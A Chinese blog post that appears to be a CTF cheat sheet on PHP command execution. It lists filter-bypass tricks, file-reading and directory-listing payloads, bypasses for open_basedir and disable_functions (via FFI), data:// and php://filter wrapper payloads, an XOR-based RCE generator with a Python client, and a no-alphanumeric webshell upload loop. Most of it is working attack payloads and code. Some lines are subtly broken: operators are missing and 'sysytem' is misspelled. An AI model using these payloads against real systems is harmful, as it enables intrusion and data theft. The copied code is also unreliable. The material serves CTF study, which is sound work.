CTF命令执行总结

关键字替换

flag替换

如flag.php

替换为

f???.php
????.???
f*
fla\g.php
fla''g.php

字符绕过

php中分号(;) 可以使用 ?>绕过 `

可以命令执行的函数有

system()

passthru()

exec()

shell_exec()

` 反引号

eval()

如在eval()函数中执行system函数 需要加上echo 才有回显 默认执行 eval(system(ls);) 这样是不回显的

应该是 eval(echo sysytem(ls);)

绕过空格

1.linux中

%09 符号需要php环境
{cat,flag.txt} 
cat${IFS}flag.txt
cat$IFS$9flag.txt
$IFS后边可以使用符号 但是不能直接跟字符 会显示无效命令(?c=nl$IFS''fla\g.php)
cat<flag.txt
cat<>flag.txt
kg=$'\x20flag.txt'&&cat$kg
(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)

2、windows下

(实用性不是很广,也就type这个命令可以用)
type.\flag.txt
type,flag.txt
echo,123456

linux读文件

cat 查看文件内容
more 分页浏览文件内容
head 显示文件前几行
tail  显示文件的后几行
tac 命令是 cat 反向写的,它们的功能也相反
nl 命令的作用和 cat -n 类似,是将文件内容全部显示在屏幕上,并且是从第一行开始显示,同时会自动打印出行号。
less与 more 类似,但在用 more 时候可能不能向上翻页,不能向上搜索指定字符串,而 less 却可以自由的向上向下翻页,也可以自由的向上向下搜索指定字符串。
file -f  可以利用报错将文件内容带出来(-f<名称文件>  指定名称文件,其内容有一个或多个文件名称时,让file依序辨识这些文件,格式为每列一个文件名称。)
rev 将每行倒序输出
uniq 命令用于检查及删除文本文件中重复出现的行列
grep '{' flag.php   (查找{开头的行)

如果这些关键字被过滤可以使用?去匹配

如cat可以用/bin/ca? 来匹配

/bin目录下的命令
catcpchmod df、dmesg、gzip、killlsmkdir、more、mount、rm、su、tar、base64

常用cat ,base64

如/???/?????4 可以匹配/bin/base64

还可以使用/usr/bin下的把bzip2将文件压缩然后下载

usr/bin目录
主要放置一些应用软件工具的必备执行档例如c++、g++、gcc、chdrv、diff、dig、du、eject、elm、free、gnome、 zip、htpasswd、kfm、ktop、last、less、locale、m4、make、man、mcopy、ncftp、 newaliases、nslookup passwd、quota、smb、wget

eg:/???/???/????2 ???????? (/usr/bin/bzip2 flag.php)

会生成flag.php.bz2 然后访问下载

php读文件

file_get_contents()
highlight_file()
show_source()
fgets()
file()
readfile()

file

c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}
c=$a=fopen("flag.php","r");while (!feof($a)) {$line =fgetcsv($a);print_r($line);}
c=$a=fopen("flag.php","r");echo fread($a,"1000");
c=$a=fopen("flag.php","r");echo fpassthru($a);
copy()
rename()
//用法:
copy("flag.php","flag.txt");            
rename("flag.php","flag.txt");

php中查看当前目录

php中的打印函数

var_dump
print_r

当var_dump和print_r没有过滤时

查看当前目录
var_dump(scandir("."));
查看根目录
var_dump(scandir("/"));

当var_dump和print_r被过滤时

使用遍历打印出来

c=
$a=scandir("/");
foreach($a as $value){
echo $value."   ";
}
c=
$a=glob("/*");
foreach($a as $value){
echo $value."   ";
}
c=
$a=new DirectoryIterator('glob:///*');
foreach($a as $f){
echo($f->__toString()." ");
}

php绕过open_basedir

利用glob伪协议在筛选目录时不受open_basedir制约

c=
$a=new DirectoryIterator("glob:///*");
foreach($a as $f){
echo $f."    " ;
}

php7.4利用FFI绕过disable_functions

c=
$a=new DirectoryIterator("glob:///*");
foreach($a as $f){
echo $f."    " ;
}

$ffi = FFI::cdef(
    "int system(const char *command);");

$ffi->system("/readflag > 1.txt");

过滤小写字母和数字及一些符号时

利用bash变量拼出/bin/base64 ctfshow web118~

文件包含读文件

如果是txt可以直接
c=include('/flag.txt');
如果是php 利用伪协议
?c=include$_GET["a"]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

伪协议

data://协议

执行命令

?c=data://text/plain,<?php%20echo%20system(%27cat%20fl*%27);?>

使用base64加密 base64加密需要用php中的base64加密函数加密base64_encode($str);

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

利用异或生成可用字符 然后rce

参考 先用php生成可用字符

<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
    for ($j=0; $j <256 ; $j++) { 

        if($i<16){
            $hex_i='0'.dechex($i);
        }
        else{
            $hex_i=dechex($i);
        }
        if($j<16){
            $hex_j='0'.dechex($j);
        }
        else{
            $hex_j=dechex($j);
        }
        $preg = '/[0-9][a-z]\^\+\~\$\[\]\{\}\&\-/i';
        if(preg_match($preg , hex2bin($hex_i))preg_match($preg , hex2bin($hex_j))){
                    echo "";
    }

        else{
        $a='%'.$hex_i;
        $b='%'.$hex_j;
        $c=(urldecode($a)urldecode($b));
        if (ord($c)>=32&ord($c)<=126) {
            $contents=$contents.$c." ".$a." ".$b."\n";
        }
    }

}
}
fwrite($myfile,$contents);
fclose($myfile);

然后用rce

 # -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
os.system("php rce_or.php")  #没有将php写入环境变量需手动运行
if(len(argv)!=2):
    print("="*50)
    print('USER:python exp.py <url>')
    print("eg:  python exp.py http://ctf.show/")
    print("="*50)
    exit(0)
url=argv[1]
def action(arg):
    s1=""
    s2=""
    for i in arg:
        f=open("rce_or.txt","r")
        while True:
            t=f.readline()
            if t=="":
                break
            if t[0]==i:
                #print(i)
                s1+=t[2:5]
                s2+=t[6:9]
                break
        f.close()
    output="(\""+s1+"\"\""+s2+"\")"
    return(output)

while True:
    param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
    data={
        'c':urllib.parse.unquote(param)
        }
    r=requests.post(url,data=data)
    print("\n[*] result:\n"+r.text)

命令分割

%0a符号
换行符
%0d符号
回车符
;符号  在 shell 中,担任”连续指令”功能的符号就是”分号”
&符号

file

无数字字母webshell

参考

ctfshow web55

import requests

while True:
    url = "http://2281cc8b-ae66-442b-89f3-1dbaf33749ce.chall.ctf.show//?c=.+/???/????????[@-[]"
    r = requests.post(url, files={"file": ('feng.txt', b'cat flag.php')})
    if r.text.find("flag") >0:
        print(r.text)
        break

CTF命令执行总结
http://example.com/2021/01/31/OldBlog/ctf命令执行总结/
作者
Autumn
发布于
2021年1月31日
许可协议